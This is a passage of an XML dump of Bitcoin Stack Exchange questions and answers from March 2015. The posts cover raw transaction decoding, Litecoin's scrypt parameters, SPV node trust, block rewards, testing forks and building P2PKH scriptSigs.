BY-SA 3.0" />
  <row Id="36637" PostTypeId="2" ParentId="9267" CreationDate="2015-03-28T20:46:30.823" Score="0" Body="&lt;p&gt;getrawtransaction (txid) =&gt; gives you raw transaction X&#xA;take that and calc &#xA;decoderawtransaction (X) , after that look at &quot;vout&quot; and find the address the transaction send the bitcoin to .&#xA;All in Bitcoin-qt console &lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-03-28T20:46:30.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36638" PostTypeId="2" ParentId="36634" CreationDate="2015-03-28T21:43:19.003" Score="1" Body="&lt;p&gt;If you are using C# with NBitcoin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var address = new Script(&quot;OP_DUP OP_HASH160 ... OP_EQUALVERIFY OP_CHECKSIG&quot;).GetDestinationAddress(Network.Main);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It has the nice effect to work with P2SH addresses too.&lt;/p&gt;&#xA;" OwnerUserId="21478" LastActivityDate="2015-03-28T21:43:19.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36639" PostTypeId="1" CreationDate="2015-03-28T23:26:33.383" Score="3" ViewCount="1584" Body="&lt;p&gt;I want to know where I can find a full list of Bitcoin mining hardware. I don't want a list of the most profitable hardware, &lt;strong&gt;I just want a list with the greatest number of Bitcoin miners (don't care if it mine at low hashes p/ second or is very old)&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The objective is to include this list in a tutorial where I explain mining to newbies and where I can show the viewers a &quot;complete list of Bitcoin mining history&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have some ideas about that?&lt;/p&gt;&#xA;" OwnerUserId="9450" LastEditorUserId="5406" LastEditDate="2016-03-05T15:12:09.977" LastActivityDate="2018-06-09T14:07:46.907" Title="Where can I find a full list of all Bitcoin mining hardware ever used?" Tags="|asic|mining-hardware|history|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36640" PostTypeId="1" CreationDate="2015-03-28T23:29:55.333" Score="0" ViewCount="6712" Body="&lt;p&gt;I've noticed that there are all kinds of cards, blades, and other parts of ASIC mining rigs for sale on eBay. Is it possible I could buy some cards and blades and build my own high end mining ASIC without having to pay for something brand name or design my own (which we all know isn't going to happen)?.&lt;/p&gt;&#xA;" OwnerUserId="12920" LastEditorUserId="5406" LastEditDate="2016-04-09T07:54:59.120" LastActivityDate="2016-04-09T07:54:59.120" Title="Can I build a mining ASIC from parts I find online?" Tags="|asic|mining-hardware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36641" PostTypeId="2" ParentId="36639" CreationDate="2015-03-29T01:07:59.683" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Non-specialized_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Non-specialized_hardware_comparison&lt;/a&gt; are the canonical lists. I'm not sure that will be useful to you; there's approximately 940 products across the two lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're making a visual presentation of how mining hardware evolved, you might also find &lt;a href=&quot;https://bitcointalk.org/index.php?topic=7216.0&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; useful. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-29T01:07:59.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36642" PostTypeId="1" AcceptedAnswerId="36644" CreationDate="2015-03-29T01:59:32.017" Score="5" ViewCount="1592" Body="&lt;p&gt;Litecoin uses the scrypt factors (N=1024, r=1, p=1) This means that each hashing thread takes 128kB of memory. The scrypt paper recommends r=8.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.daemonology.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Colin Percival&lt;/a&gt;, the creator of scrypt, &lt;a href=&quot;https://twitter.com/cperciva/status/311260784288223232&quot; rel=&quot;nofollow noreferrer&quot;&gt;has said&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Q: are you into #litecoin at all?&lt;/p&gt;&#xA;&lt;p&gt;A: I'm aware of it, and I'm aware that they used scrypt poorly (not enough RAM usage).  That's the limit of my knowledge.&lt;/p&gt;&#xA;&lt;p&gt;Q: I'm considering enhancing #litecoin. How is scrypt being used poorly? Maybe I can help improve it&lt;/p&gt;&#xA;&lt;p&gt;A: I'd suggest talking to @solardiz about this -- my knowledge of how litecoin misuses scrypt comes mostly from him. The 1-tweet summary is that scrypt is designed to achieve security by using lots of RAM, and litecoin doesn't use lots of RAM.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Is there a technical justification for such a low N and r?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-03-30T20:15:08.380" Title="Why did Litecoin choose the scrypt factors that they did?" Tags="|litecoin|scrypt|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36643" PostTypeId="1" CreationDate="2015-03-29T03:19:22.767" Score="1" ViewCount="125" Body="&lt;p&gt;is there a way for a non-full node (ie a node which does not contain the full blockchain) to know when it has received all transactions associated with an address? i understand that it is possible for a non-full node to tell if it has been fed an invalid transaction - the node can check that the transaction hash exists in the pruned merkle tree for the specified block, then compute the merkle root for that tree and check it exists in the block header. but i don't know of any checks to ensure that all transactions have been downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if transactions are not relayed by a malicious remote node then the target node will think it has less funds available than it really does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i had thought that bloom filters might fix this problem, but i read in bip37:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thus, a merkleblock message is a block header, plus a part of a merkle&#xA;  tree which can be used to extract identifying information for&#xA;  transactions that matched the filter and prove that the matching&#xA;  transaction data really did appear in the solved block. Clients can&#xA;  use this data to be sure that the remote node is not feeding them fake&#xA;  transactions that never appeared in a real block, although lying&#xA;  through omission is still possible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so it seems bip37 does not attempt to solve this issue.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2015-04-01T12:13:20.213" Title="thin-client remote node lying through omission" Tags="|thin-clients|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36644" PostTypeId="2" ParentId="36642" CreationDate="2015-03-29T03:31:03.393" Score="3" Body="&lt;p&gt;Litecoin basically copied the parameters from a coin called tenebrix. The parameters were chosen partially because using more memory intensive parameters caused the GUI to be noticeably slow.&lt;/p&gt;&#xA;&lt;p&gt;Listen to Charlie Lee talk about this at the Hashers United conference in Las Vegas.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=aHX34MbXuOk#t=469m00s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=aHX34MbXuOk#t=469m00s&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=qbj7aXu7FTw&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=qbj7aXu7FTw&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[transcript starts at approximately 9:45 in the second video.]&lt;/p&gt;&#xA;&lt;p&gt;Q: [...] But in hindsight, do you regret selecting the N, r, and p, parameters for scrypt?&lt;/p&gt;&#xA;&lt;p&gt;A: So, the parameters I chose were copied straight from Tenebrix. The reason why they were chosen that way is because if you make the parameters harsher, more memory harsh, it actually slows down the client. Every time a block comes in, the client would actually freeze, for a minute, to verify the block, because it was so hard. At that time, it was decided, that it was a tradeoff. They decided to go with a better experience of the user using the client, and not as memory harsh, because at that time there wasn't any GPU that was capable of doing it, and it was CPU-only.&lt;/p&gt;&#xA;&lt;p&gt;It would be great if the parameters were more memory harsh, but I think it was a tradeoff, and it was decided early on, to err on the side faster client speed instead of harsher memory requirements.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-03-30T20:15:08.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36645" PostTypeId="2" ParentId="36643" CreationDate="2015-03-29T03:48:11.090" Score="2" Body="&lt;p&gt;Peers who don't use the whole blockchain are relying on at least one of their peers to send them transaction data when a transaction satisfies the bloom filter that the SPV (simplified payment verification) node has set. As such, SPV nodes have to be careful about which peers they connect to, and that they have a variety of peers. I believe some implementations of SPV nodes only connect to a set of defined, or are at least configurable to only connect to a strict set of peers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read how the bitcoinj (SPV node implementation) creator describes its security &lt;a href=&quot;https://bitcoinj.github.io/security-model&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Because bitcoinj apps do not accept incoming connections, the peers you talk to are always randomly selected at startup (based on DNS seeds today). So it can be difficult for an attacker to control your connectivity like that. For this reason, the number of peers that have announced a transaction is exposed in the TransactionConfidence object and you can listen on that to learn when new peers have announced a transaction. Once most of your peers have announced, you can be fairly sure that the transaction is propagating its way across the network and is very likely to be valid.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-04-01T12:13:20.213" LastActivityDate="2015-04-01T12:13:20.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36646" PostTypeId="1" AcceptedAnswerId="36696" CreationDate="2015-03-29T09:01:49.317" Score="0" ViewCount="1168" Body="&lt;p&gt;I'm looking to analyse bitcoin for a (rather introductory, low-level) game theory course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Game theory concepts I'd like to explore with regard to bitcoin: strategic games with ordinal preferences and nash equilibrium), strategic games with vNM preferences and mixed ­strategy nash equilibrium, discount factor and repeated games, extensive form games and subgame perfect equilibrium, coalitional games and Shapley value or core, ­ dominance, minimax, ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any interesting pointers or sources for this? It can be a simplified version of bitcoin, just looking for inspiration.&lt;/p&gt;&#xA;" OwnerUserId="24853" LastEditorUserId="5406" LastEditDate="2021-03-06T19:44:37.287" LastActivityDate="2021-03-06T19:44:37.287" Title="Bitcoin Game Theory Analysis" Tags="|academic-research|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36647" PostTypeId="1" AcceptedAnswerId="36648" CreationDate="2015-03-29T09:08:48.463" Score="1" ViewCount="1035" Body="&lt;p&gt;I'm not entirely sure how the reward system in Bitcoin works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, every 10 minutes a block is solved and 25 bitcoins are rewarded to a miner (or group). This happens in proportion to the amount of total computation power that miner has invested in solving the block. So a miner that has 30% of the total network power has a 30% chance of getting the 25 bitcoins and so gets roughly 8 bitcoins every 10 minutes right? If it was a group of 4 miners, average payout would be 2 bitcoins per minder I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do transaction fees work with this? So a block consists of transactions. Are all fees for all transactions summed up and added to the basic 25 bitcoin reward and hence rewarded according to the same probability as above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, does this mean that a certain block can be worth much more than another one, should somebody be particularly generous in his transaction fee?&lt;/p&gt;&#xA;" OwnerUserId="24853" LastActivityDate="2015-03-29T12:31:26.117" Title="Reward system bitcoin" Tags="|mining-reward|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36648" PostTypeId="2" ParentId="36647" CreationDate="2015-03-29T11:27:12.003" Score="2" Body="&lt;p&gt;The amount of Bitcoin a successful miner can claim for himself is &lt;code&gt;currentBlockReward + transaction fees&lt;/code&gt;. If there are a lot of fees, a block can be worth more than others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When users send transactions, they can attach a transaction fee by assigning less to the transactions' recipients than the inputs' total. The unassigned amount can be claimed as transaction fee: &lt;code&gt;Inputs - outputs = Transaction Fee&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Example: In: 0.005BTC, Out: 0.004BTC ⇒ Transaction Fee: 0.001BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When miners work to confirm a block, they include their individual &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4572/5406&quot;&gt;Coinbase Transaction&lt;/a&gt; in the transaction data that they are trying to confirm. This &lt;em&gt;Coinbase Transaction&lt;/em&gt; spends the block reward and transaction fees to an address of the miner's choosing. This means that a miner assigns his own reward when he successfully finds a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after a block is found, every node will check whether the block adheres to the rules: The sum of all transaction outputs in a block must be smaller than all transaction inputs and the block reward, i.e. the miner may only assign the free floating transaction fees and the current block reward to himself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sum(BlockOutputs) ≤ sum(BlockInputs) + BlockReward&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It has happened in the past that a miner claimed less than he could have. In that case the remainder is lost to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see the related questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/9895/5406&quot;&gt;Who gets Bitcoin transaction fees?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/760/5406&quot;&gt;What exactly is Mining?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-03-29T12:31:26.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36649" PostTypeId="1" AcceptedAnswerId="36804" CreationDate="2015-03-29T19:52:25.787" Score="9" ViewCount="970" Body="&lt;p&gt;I want to test if a service can manage a blockchain fork. However there is no way to get bitcoind to create test forks under the regtest mode. I've tried modifying it to generate blocks with arbitrary prevblock hashes but it is not easy due to the high code complexity. I've managed to get it to create forks on-top of earlier blocks, however, I can't get it to generate blocks for conflicting transactions (double-spends and malleability changes), largely due to all of the &quot;pruning&quot; code. Surely someone has already come up with a solution, as this is a vital thing to test? I can't find anything on-line to help with testing fork scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that perhaps I should have used another technique? That I should have run 3 bitcoind regtest nodes and isolate them so that I can create multiple blockchains. 2 of them generate competing chains, and the other interfaces with the application. I can generate a fork scenario with the first two nodes, sync one of the nodes to the 3rd node and then sync the other node to generate the fork? I'd need to use a combination of addnode and tcpkill (?) to sync and then re-isolate the nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems a ridiculous thing to do to test something so simple, so is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="1439" LastActivityDate="2015-04-09T19:26:20.130" Title="Testing blockchain forks" Tags="|bitcoind|blockchain-fork|testing|regtest|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36650" PostTypeId="2" ParentId="36640" CreationDate="2015-03-29T22:42:47.580" Score="1" Body="&lt;p&gt;Technically, sure, you can cobble together parts from bitcoin ASIC manufacturers and make your own farm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Practically, you are better off going to one of the &quot;something brand name&quot; guys and getting a mining rig.  The bits and pieces that you see around on various auction sites are most likely out of date and will cost you more in electricity then you make (not to mention possibly faulty if they are selling them in bits).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, depending on where you are, the chances are that even with the latest gear you won't actually turn a profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mining industry is very cutthroat these days and profit margins are thin.  The rig turnover is also very high with miners replacing their rigs every 6-8 months in order to get the most efficient equipment.&lt;/p&gt;&#xA;" OwnerUserId="23236" LastActivityDate="2015-03-29T22:42:47.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36651" PostTypeId="2" ParentId="36640" CreationDate="2015-03-29T23:11:18.200" Score="0" Body="&lt;p&gt;I can see where you're coming from;  most prebuilt computer systems are awful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, most mining units are sold without power supplies, so almost all the time there's some level of assembly required. Pre-built versus &quot;brand name&quot; isn't a useful distinction. I suggest that you make a price comparison based on the hashes per second,  power usage, and price. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-30T01:22:07.257" LastActivityDate="2015-03-30T01:22:07.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36652" PostTypeId="2" ParentId="36649" CreationDate="2015-03-29T23:45:43.067" Score="1" Body="&lt;p&gt;Depending on your language and bitcoin library, you can simulate a fake bitcoin peer. This is what I do when I develop with NBitcoin. (C#)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I setup 2 peers, the &quot;client&quot; and the &quot;server&quot;, I then setup the client to &quot;trust&quot; my server node in tests. (meaning it does not verify block correctness and proof of work)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I pilot the server's behavior as I want to test any fork scenario.&lt;/p&gt;&#xA;" OwnerUserId="21478" LastActivityDate="2015-03-29T23:45:43.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36653" PostTypeId="2" ParentId="36604" CreationDate="2015-03-30T00:04:35.267" Score="2" Body="&lt;p&gt;Having tested with the &lt;a href=&quot;https://github.com/NicolasDorier/NBitcoin/blob/master/NBitcoin/BitcoinCore/BlockStore.cs&quot; rel=&quot;nofollow&quot;&gt;BlockStore of NBitcoin&lt;/a&gt;, the format is the same.&#xA;The BLK files are just almost raw blocks (it has a small additional header)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any stored block in this file has the network to which it belongs with its size, followed by the block data. Those blocks are pointed into by the leveldb database by their (fileId, offset).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order changed though, I myself used the fact that those blocks were ordered in the past to build the header chain from the bitcoin folder. Such code would break now. (Now I'm connecting directly to the peer node instead of relying on the block folder)&lt;/p&gt;&#xA;" OwnerUserId="21478" LastActivityDate="2015-03-30T00:04:35.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36654" PostTypeId="1" CreationDate="2015-03-30T01:32:22.570" Score="4" ViewCount="2536" Body="&lt;p&gt;I have an address from which all unspent &lt;code&gt;txouts&lt;/code&gt; were used in a single transaction. How can I find out what transaction was that? In my node instance, &lt;code&gt;listtransactions&lt;/code&gt; will not list addresses that spent the coins, only those that received them.&lt;/p&gt;&#xA;" OwnerUserId="23378" LastActivityDate="2015-05-29T15:42:45.353" Title="Using bitcoind JSON-RPC, how to get transaction from input address?" Tags="|transactions|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36655" PostTypeId="2" ParentId="36629" CreationDate="2015-03-30T01:48:07.350" Score="2" Body="&lt;p&gt;There is a Dart library as well. Even though it's not 100% finished yet, it works quite well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/stevenroose/ripple-lib-dart&quot; rel=&quot;nofollow&quot;&gt;https://github.com/stevenroose/ripple-lib-dart&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2015-03-30T01:48:07.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36656" PostTypeId="1" AcceptedAnswerId="36771" CreationDate="2015-03-30T04:23:09.930" Score="1" ViewCount="130" Body="&lt;p&gt;Running Armory (0.93.0.82) on Win7 x64 with the following flags: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;C:\Program Files (x86)\Armory\ArmoryQt.exe&quot; --testnet --datadir=d:\data\armory\testnet3 --satoshi-datadir=&quot;d:\data\bitcoincore&quot; --rpcport=8332 --debug --netlog --mtdebug --logfile=d:\data\armory&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll find &lt;a href=&quot;https://gist.github.com/eb868e035200bb7c2d79&quot; rel=&quot;nofollow noreferrer&quot;&gt;the log file&lt;/a&gt; throws a recurring error... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    -WARN  - 1427685617: (..\Blockchain.cpp:47) Somehow tried to add header that's already in map&#xA;    -WARN  - 1427685617: (..\Blockchain.cpp:48)     Header Hash: 00000000ad4e4c886567776c89e752614f251cca28b7dfcaf16867677ba0245a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FYI, those times/blocks correspond to the most recent blocks, as validated by Bitcoin-CLI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that the &quot;current block&quot; field in Armory shows a block ~6000 old (stuck on &lt;code&gt;323060&lt;/code&gt;), and mouse hover says &lt;em&gt;&quot;last block received 1.5 minutes ago&quot;&lt;/em&gt; (or something similar) and updates with the block discovery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoincore (v0.10 btw) &lt;a href=&quot;https://i.stack.imgur.com/Ycajw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;gives this screenshot&lt;/a&gt; (the top 2 Txs - &lt;a href=&quot;http://test.webbtc.com/tx/706b60a90510e8db0186be5980819931127110e300ce10c5a5b3f5fb04667dc2&quot; rel=&quot;nofollow noreferrer&quot;&gt;TxID 706b60a90510e8db0186be5980819931127110e300ce10c5a5b3f5fb04667dc2&lt;/a&gt; - are labelled &lt;code&gt;?&lt;/code&gt; however they are confirmed in Bitcoincore eventually)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried numerous wallets instances in Armory, updating, ensuring the client is connected, using the rescanning/rebuilding database option, etc. &lt;em&gt;EDIT: Rescanning the database has actually erased all record of the Txs in Armory&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong here?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="5406" LastEditDate="2017-06-18T00:00:00.863" LastActivityDate="2017-06-18T00:00:00.863" Title="Armory 0.93 on Testnet: consistent unconfirmed Txs sent from connected Bitcoin-cli (log attached)" Tags="|testnet|armory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36657" PostTypeId="1" CreationDate="2015-03-30T05:01:35.753" Score="2" ViewCount="278" Body="&lt;p&gt;My assumptions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most pools have an operator. All individual miners part of the pool work on block with address of the coinbase transaction owned by pool operator. pool operator gets all the bitcoins and distributes periodically to individual miners based on the proportion of the work done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears to be me that technically each individual miner can choose the list of transactions except for coinbase transaction. Is this correct? or do pool operators dictate the full block contents? If either way is possible, what usually happens in practice?&lt;/p&gt;&#xA;" OwnerUserId="23302" LastEditorUserId="5406" LastEditDate="2016-04-01T09:31:28.440" LastActivityDate="2016-04-01T09:31:28.440" Title="Are transactions in a block decided by mining pool operator?" Tags="|decentralization|transaction-selection|pool-operators|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36660" PostTypeId="2" ParentId="36657" CreationDate="2015-03-30T05:36:48.410" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;technically each individual miner can choose the list of transactions&#xA;  except for coinbase transaction. Is this correct?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Technically it is possible. In fact no one do it. Pool operator assembles a list of transactions and miners only calculate sha-hashes. They do not know block contents.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;or do pool operators dictate the full block contents?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-03-30T05:36:48.410" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36661" PostTypeId="2" ParentId="9591" CreationDate="2015-03-30T08:27:15.283" Score="0" Body="&lt;p&gt;Have you tried www.altcointrader.co.za? It is an exchange that works with BTC, LTC, and NMC, and it's local. It supports the use of ZAR as well.&lt;/p&gt;&#xA;" OwnerUserId="24864" LastEditorUserId="60552" LastEditDate="2017-09-24T17:40:23.907" LastActivityDate="2017-09-24T17:40:23.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36662" PostTypeId="2" ParentId="24456" CreationDate="2015-03-30T10:33:05.230" Score="0" Body="&lt;p&gt;A solution to use in this case is a &lt;a href=&quot;https://bitcoinj.github.io/working-with-micropayments&quot; rel=&quot;nofollow&quot;&gt;micropayment channel&lt;/a&gt;. Before they meet, Bob sets up a micropayment channel to Alice, locking the price of the car. The channel will be confirmed by the time they meet. When they meet, if everything is ok Bob uses the channel to pay Alice instantly. If not, the locked funds will eventually be sent back to Bob.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-03-30T10:33:05.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36664" PostTypeId="1" CreationDate="2015-03-30T12:25:50.723" Score="0" ViewCount="98" Body="&lt;p&gt;I bought bitcoins and sent them to the wallet, however the wallet is not synchronized and as a result I cannot see my bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I be able to see them as soon as the synchronization process finishes or have I lost them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I did, is there any way I can recover them?&lt;/p&gt;&#xA;" OwnerUserId="24867" LastEditorUserId="2306" LastEditDate="2015-03-31T07:22:43.350" LastActivityDate="2015-08-20T11:11:25.253" Title="Unable to receive/preview funds due to un-synced wallet" Tags="|transactions|wallet|exchanges|synchronization|payment|" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-20T11:11:29.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="36665" PostTypeId="1" AcceptedAnswerId="36667" CreationDate="2015-03-30T12:28:22.630" Score="2" ViewCount="2188" Body="&lt;ul&gt;&#xA;&lt;li&gt;I've decoderawtransaction and see in the vin part a &quot;scriptSig&quot; ,which&#xA;I believe to be the &quot;unlocking script&quot;  . Assuming I have&#xA;the private key in a paper wallet and someone send me transaction to&#xA;my bitcoin address, How do I generate the    to unlock it&#xA;?  &lt;/li&gt;&#xA;&lt;li&gt;My second question is: after I generated it, can someone copy this&lt;br&gt;&#xA;part and use it in the future to unlock a future transaction made to &#xA;my same bitcoin address ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2019-04-24T15:44:55.427" Title="How to create the &lt;sig&gt; &lt;PubK&gt; part in &quot;scriptSig&quot;?" Tags="|transactions|signature|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36666" PostTypeId="2" ParentId="36664" CreationDate="2015-03-30T12:40:18.727" Score="2" Body="&lt;p&gt;You will be able to see them as soon as you synch the block that contains the payment.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-03-30T12:40:18.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36667" PostTypeId="2" ParentId="36665" CreationDate="2015-03-30T13:56:44.540" Score="4" Body="&lt;p&gt;First question has a long answer, because it depends on the scriptPubKey, but also of the sigHash flag, I assume you are speaking about classic P2PKH transactions. (ScriptPubKey expose the condition for &amp;quot;unlocking&amp;quot;, while ScriptSig satisfies them for &amp;quot;unlocking&amp;quot;. It can use signature... or not, but will assume you are using P2PKH scriptPubKey, so it does)&lt;/p&gt;&#xA;&lt;p&gt;So the scriptPubKey is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 &amp;lt;PubkeyHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where PubkeyHash is given by your bitcoin address.&lt;/p&gt;&#xA;&lt;p&gt;The scriptSig should be&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Sig&amp;gt; &amp;lt;PubKey&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The PubKey is simple. From your Private key, you can get the public key (curve secp256k1)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Q = dG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where d private key : int, Q public key : EC Point, G : ECPoint given by curve.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;sig&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;is composed of 2 components&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ecdsaSig&amp;gt; 